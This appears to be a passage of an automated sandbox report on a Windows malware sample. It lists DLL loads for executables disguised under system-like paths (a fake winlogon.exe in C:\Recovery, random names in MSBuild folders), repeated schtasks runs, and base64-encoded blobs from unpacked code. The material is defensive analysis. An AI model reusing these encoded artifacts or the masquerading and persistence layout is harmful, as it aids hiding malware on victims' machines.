Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: sspicli.dll
Source: C:\Recovery\winlogon.exe	Section loaded: mscoree.dll
Source: C:\Recovery\winlogon.exe	Section loaded: apphelp.dll
Source: C:\Recovery\winlogon.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\winlogon.exe	Section loaded: version.dll
Source: C:\Recovery\winlogon.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\winlogon.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\winlogon.exe	Section loaded: wldp.dll
Source: C:\Recovery\winlogon.exe	Section loaded: profapi.dll
Source: C:\Recovery\winlogon.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\winlogon.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\winlogon.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\winlogon.exe	Section loaded: sspicli.dll
Source: C:\Recovery\winlogon.exe	Section loaded: mscoree.dll
Source: C:\Recovery\winlogon.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\winlogon.exe	Section loaded: version.dll
Source: C:\Recovery\winlogon.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\winlogon.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\winlogon.exe	Section loaded: wldp.dll
Source: C:\Recovery\winlogon.exe	Section loaded: profapi.dll
Source: C:\Recovery\winlogon.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\winlogon.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\winlogon.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\winlogon.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Section loaded: sspicli.dll
Source: C:\Recovery\winlogon.exe	Section loaded: mscoree.dll
Source: C:\Recovery\winlogon.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\winlogon.exe	Section loaded: version.dll
Source: C:\Recovery\winlogon.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\winlogon.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\winlogon.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\winlogon.exe	Section loaded: wldp.dll
Source: C:\Recovery\winlogon.exe	Section loaded: profapi.dll
Source: C:\Recovery\winlogon.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\winlogon.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\winlogon.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\winlogon.exe	Section loaded: sspicli.dll
Source: C:\Recovery\winlogon.exe	Section loaded: ktmw32.dll
Source: C:\Recovery\winlogon.exe	Section loaded: propsys.dll
Source: C:\Recovery\winlogon.exe	Section loaded: edputil.dll
Source: C:\Recovery\winlogon.exe	Section loaded: urlmon.dll
Source: C:\Recovery\winlogon.exe	Section loaded: iertutil.dll
Source: C:\Recovery\winlogon.exe	Section loaded: srvcli.dll
Source: C:\Recovery\winlogon.exe	Section loaded: netutils.dll
Source: C:\Recovery\winlogon.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Recovery\winlogon.exe	Section loaded: wintypes.dll
Source: C:\Recovery\winlogon.exe	Section loaded: appresolver.dll
Source: C:\Recovery\winlogon.exe	Section loaded: bcp47langs.dll
Source: C:\Recovery\winlogon.exe	Section loaded: slc.dll
Source: C:\Recovery\winlogon.exe	Section loaded: userenv.dll
Source: C:\Recovery\winlogon.exe	Section loaded: sppc.dll
Source: C:\Recovery\winlogon.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Recovery\winlogon.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Recovery\winlogon.exe	Section loaded: mpr.dll
Source: C:\Recovery\winlogon.exe	Section loaded: pcacli.dll
Source: C:\Recovery\winlogon.exe	Section loaded: sfc_os.dll

Source: H9gMIu2HXi.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Stream5.cs	Cryptographic APIs: 'TransformBlock'
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Stream5.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Stream5.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, Stream5.cs	Cryptographic APIs: 'TransformBlock'
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, Stream5.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, Stream5.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, qJk.cs	Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, sz3.cs	Base64 encoded string: 'IRHKkK7+9S0IugXON3gvLsxJjZL9YaEKz/ItfY2KMibv3HGRDY4HX1+0x6vyRlP1N4gE0v20VeDKoKK009sEy3ouyqPq1nDV7UInHLKa0+i1EzCuhkbBF+hHquku7Lo/yvKfWKTtDSC0cid2m2aAXySLeN9z77QHOw6ohp+EDczjdlkMq8m7a2ClwiEast7dEwz6w4bD8wTSzoz4j5qzrO8RqjmHTyrApuBSl+1gu2s5LoFXoH5oPozdF2hTyr4UJafbA2pNEGdP/VLXgbIg4QM5bvggf+gkojeqw45IqHRg8ZcCDn/xnBJvzaQskNO/n2SyskcGTGC2IHglQTunUGHh4+wEaQYtR4uojeQt1AxtzrO/QY7Xs4yhQpA5ELH1fxkHlN9mBEm06zoECj/vz7jJG2mQlWiHY9U9LUYCXv/lx66c36E3vw4zQ5xVrzhaydHvLiCXt0pZUDFEWfZaVaZ5AKGW0zqkBSvHh4qMXIukrkK1kUF6G2eX26nBF9etwOUvoJ9uQsq2Dy+GQBdk03ZdTGhPoKKJfEvzulE4FSXAoUFrTLyla3gXMOhV434cPyDRSbyiZCGATsBDfEtT+1yp5qKdbJS1GVEo5JVGDZl853Kba/dh4CBx/W6Bj/DOJfimC7NBUJ/HnfsGb830T09NrdXxjZIarRpeDSqLXVWibkiIPnFO4OU2WXtEARxfTEp9gbRaEngqlbHte7O4oMf4xO52NXpTo1ex3oIjKRiCMDA77sbJvezZ+hixbnlgDJbVmAulozOcoeLeIT3ajMgqvfmAPVAXbuYvJdtKwevtf2DUl7lEqIkiitboMQ9wa/o5JrJJMwrsX1U4U56gMIX+zCYsR3sgBH+1dLI394nm8h9oLc/7DXLFKCEkJSnOT6P/PRLwNHmWcoHO0WJ5Y6IdGtC8rsInOmg1aD9JbLPqksSmWRX6XfZYmKthY9wC1SDjDFSXykgutRHU6ciKTBRxlvwAPW8V/yOJ1rOCNpk='
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Class17.cs	Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Class16.cs	Base64 encoded string: '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